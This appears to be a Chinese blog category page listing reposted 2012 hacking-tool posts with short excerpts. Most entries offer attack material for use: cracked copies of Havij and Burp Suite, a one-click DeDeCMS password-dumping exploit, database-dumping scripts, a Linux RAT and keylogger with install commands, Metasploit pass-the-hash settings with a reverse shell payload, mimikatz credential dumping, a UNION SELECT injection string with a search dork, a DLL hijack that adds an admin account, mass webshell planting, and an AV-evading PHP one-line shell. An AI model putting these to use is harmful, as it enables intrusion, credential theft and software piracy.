![](https://img-blog.csdnimg.cn/20201014180756913.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
工具
fengling132
这个作者很懒,什么都没留下…
展开
-
Havij 1.152 最新破解版
Havij是一款自动化的SQL注入工具,它能够帮助渗透测试人员发现和利用Web应用程序的SQL注入漏洞。Havij不仅能够自动挖掘可利用的SQL 查询,还能够识别后台数据库类型、检索数据的用户名和密码hash、转储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令,当然前提是有 一个可利用的SQL注入漏洞。Havij支持广泛的数据库系统,如 MsSQL, MySQL, MSAcce转载 2012-05-02 14:52:19 · 1789 阅读 · 0 评论 -
Backtrack5实战系列视频教程
BackTrack是一套专业的计算机安全检测的Linux操作系统,简称BT。目前最新与最好用版本是BT5.它可以用来破解WEP,WPA/WPA2加密方式的无线网络也不在话下,当然前提是需要有足够强大的密码字典文件。 如果你仅仅用来破解WIFI,那么就大材小用了,集成了众多安全工具的BT不仅仅在破解WIFI上功能强悍,还有如弱点扫描 工具Nessus,渗透平台MSF, Sniff工具W转载 2012-07-10 11:12:13 · 1312 阅读 · 0 评论 -
DeDeCMS v5.7最新利用工具[一键暴密码]0day
使用说明:1、输入被检测网站的地址2、请等待,时间取决于你的网络状况,和网站的速度。3、如果网站没有漏洞的话会弹出提示。4、成功的话会弹出一个窗口复制密码去破解就好了。下载地址:DeDeCMS转载 2012-07-02 15:05:16 · 4831 阅读 · 0 评论 -
SQLMAP 注射工具用法
1 。 介绍1.1 要求1.2 网应用情节1.3 SQL 射入技术1.4 特点1.5 下载和更新sqlmap1.6 执照2 。 用法2.1 帮助2.2 目标URL2.3 目标URL 和verbosity2.4 URL 参量2.5 Google dork2.6 HTTP 方法: 得到或张贴2.7 张贴的数据串2.8 HTTP 曲奇饼倒转载 2012-07-02 15:24:00 · 1405 阅读 · 0 评论 -
自己写的php木马webshell扫描器
因为前端时间服务器被放过 所以写了个webshell扫描器 呵呵 专杀php webshell 不管大马还是小马 包括一句话 现在放出代码来 <?php/*+--------------------------------------------------------------------------+| Codz by indexphp Version:0.转载 2012-07-02 16:08:58 · 946 阅读 · 0 评论 -
SQLmap工具介绍及其使用
这是SEVEN大哥写的!:从黑防上看到他们说是有什么内部的工具,国外的注入工具,python的。想下载看看,结果是vip工具。就从百度上搜索,没有发现。看来在国内还没有流行。就直接去google上搜索去了。结果发现了这个工具。功能非常强大。我以前的想法,这个工具全都实现了。而且功能更强。新一代的强大工具。我还没有时间来得及分析。感兴趣的朋友可以去研究研究。开源又转载 2012-07-02 15:33:12 · 621 阅读 · 0 评论 -
WindowsXP上安装和运行神器SqlMap的步骤
本文要介绍的是如何在Windows XP上安装和运行SqlMap的安装步骤。在Windows XP上安装和运行SqlMap的步骤……1、首先下载SqlMap 点击下载。2、其次下载用于Windows系统的Python ……点击这里……3、然后安装Python:Python默认安装的路径是“C:\Python”(你也可以修改安装路径,但要记住路径),直接默认安装“下一转载 2012-07-02 15:35:31 · 712 阅读 · 0 评论 -
K8-MSSQL综合利用工具V1.1 可秒脱百万/千万记录数据
程序:K8-MSSQL综合利用工具V1.0语言:VS2010 C# (.NET Framework v2.0)作者:拉登哥哥 QQ:396890445更新历史:2012-06-09[+] BCP导出txt(可导出整个表) 秒脱百万/千万记录测试导出CSDN 640W数据 仅需10-15秒[+] 导出htm格式(可导出指定列) 只适合100W以转载 2012-07-02 16:02:08 · 2181 阅读 · 0 评论 -
mssql脱库脚本aspx版本
protected void Button1_Click(object sender, EventArgs e){string serverIP=txtServerIP.Text;string database=txtDatabase.Text;string user=txtUser.Text;string pass=txtPass.Text;string tableNam转载 2012-07-13 15:59:17 · 1599 阅读 · 0 评论 -
分享2个修改版的sqlmap
分享2个修改版的sqlmap。一个是由论坛核心成员uing07制作的win下的不需要py环境就能执行的sqlmap。截图:下载:http://down.f4ck.net/soft/SqlmapNoPy.rar一个是由论坛核心成员ettack制作的汉化版的sqlmap。截图:使用方法:转载 2012-08-01 16:34:48 · 698 阅读 · 0 评论 -
burpsuite_pro_v1.4.07破解版
升级版。 burpsuite_pro_v1.4.07 最新破解版 分享给有需要的朋友。 解压密码:www.freebuf.com下载地址原文转自:http://www.freebuf.com/tools/4771.html本文来源于独自等待博客:http://www.waitalone.cn/ 原文地址:http://www.waitalone.cn/post/burpsu转载 2012-07-10 11:03:55 · 1716 阅读 · 0 评论 -
php打包程序
[php] view plaincopy "Content-Type" content="text/html; charset=gb2312"> PHP整站打包程序-By DoDo "myform" method="post" action=""> ini_set('memory转载 2012-07-10 09:12:19 · 740 阅读 · 0 评论 -
n00bRAT 一个linux下的远控
n00bRAT 一个linux下的远控,木马,服务端是一个http server,控制指令通过http协议传输。设计的有点意思但如果再优化一下就更好了,号称是undetectable,但是估计就是remotely undetectablehttps://github.com/abhishekkr/n00bRAT转载 2012-05-02 14:55:43 · 2180 阅读 · 0 评论 -
linux下的键盘记录
安装:wget http://logkeys.googlecode.com/files/logkeys-0.1.1a.tar.gztar -xf logkeys-0.1.XX.tar.gzcd logkeys-0.1.XX./configuremakemake checkmake install 使用:logkeys -s -u -o log.txt转载 2012-05-02 15:00:12 · 1648 阅读 · 0 评论 -
文件上传字符截断与NC提交技巧
在得到网站后台的账号密码很多网站后台上传文件之后自动重名名。这里给大家提供一种老方法了。上传文件一般是upload.asp,upfile.asp,一般可以定义文件路径,也就是uppath,而一般程序会判定后缀的,比如限定不能等于asp,aspx,asa,那么可以传cdx、cer或php(服务器支持),或者判定只能是.jpg,.gif,那么就必须使用截断方式来处理了,这儿详细说明一下转载 2012-05-02 15:22:00 · 529 阅读 · 0 评论 -
电脑远程登录控制Android手机-Webkey For Android使用教程
通过电脑以WIFI无线方式登录Android安卓手机,就像Linux的SSH远程控制一样,可以在电脑浏览器中打开手机屏幕,并执行手机程序(打电话、发短信、上网等),还可以查看、操作SDCard的文件,获得GPS位置,截取手机屏幕,手机和电脑直接聊天等等。能实现这一功能的就是Webkey这款软件。 下面就讲下使用方法:软件很简单,手机上直接安装即可,电脑端只要有浏览器就可以。转载 2012-05-02 15:16:28 · 5485 阅读 · 0 评论 -
Metasploit使用hash直接登录系统
抓到管理员的密码hash根本不用破解,直接就可以登录。12345678910111213use windows/smb/psexec set SMBUser username set SMBPass 用户密码的hash值 set payload Windows/meterpreter/reverse_tcp set rh转载 2012-05-08 16:25:33 · 1296 阅读 · 0 评论 -
介绍一下神器mimikatz,从lsass里抓密码
昨天弄了下OphCrack,一个破解windows密码的玩意,顺带想起了这个神器,mimikatz,本人首创中文译名为:咪咪卡住,不要笑,这是很严肃的名字。咪咪卡住的下载地址:http://blog.gentilkiwi.com/mimikatzmimikat是一个法国人写的轻量级调试器,因为牛逼,所以成了神器。神器之所以出名了,是因为神器可以直接从 lsass.exe 里获取转载 2012-05-08 16:52:22 · 3131 阅读 · 0 评论 -
burpsuite破解webshell密码+国内黑阔shell密码收集
burpsuite破解webshell密码+国内黑阔shell密码收集burpsuite_pro_v1.3.03 下载:http://h4ck3r.nbst.org/tool/burpsuite_pro_v1.3.03.zipBurpsuite需要JAVA支持,请先安装JAVA环境。首先我们先打开Burpsuite 把拦截(intercept)功能关闭,因为我们转载 2012-03-19 21:27:39 · 4826 阅读 · 0 评论 -
Zend加密 免杀PHP一句话藐视所有IIS防御软件
话不多 直接截图。。。 抓紧下!PHP一句话密码:caidao 下载地址:caidao网盘下载:caidao.zip文件大小:1 KB已放到自己的csdn转载 2012-05-09 13:57:00 · 1307 阅读 · 1 评论 -
@批处理大爆菊 记一次 win 2008 & iis 7.5 旁注入侵
好久就想写了,今天有点时间,就把以前 的笔记整理一下 主要是针对shell 有 net work 权限 可以跨目录写入文件 但是不能浏览 找不到目标站的绝对路径的 一个技巧!呵呵 找到用户名和绝对路径的关系 一个简单的批处理即可把VirtualHost几百个网站(一般是 180)全部写入一句话 比较猥琐吧 话说用这个来批量拿s转载 2012-05-08 15:41:21 · 1762 阅读 · 0 评论 -
某教育程序打印页面漏洞批量注射(附小工具)
某教育程序打印页面漏洞批量注射inurl:info_Print.asp?ArticleID=后台: ad_login.aspexp: union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin转载 2012-06-05 12:10:36 · 539 阅读 · 0 评论 -
usp10.dll|lpk.dll提权工具
将此DLL文件放入服务器存在EXE的目录中,重启后(可以攻击导致重启,其他方法也行,就是让系统再次运行此目录的任何一个EXE就行)比如放在c:\php\目录下,下次重启后就会在服务器中添加用户bmd,密码为cunzhang的管理员帐号(网上已经存在了,不过没有测试成功,此款测试成功,大家可以自己测试附件压缩包为测试用的EXE,点击TEST.EXE,然后关闭就会添加用户BMD,也可以在同目录转载 2012-08-01 16:26:47 · 1900 阅读 · 0 评论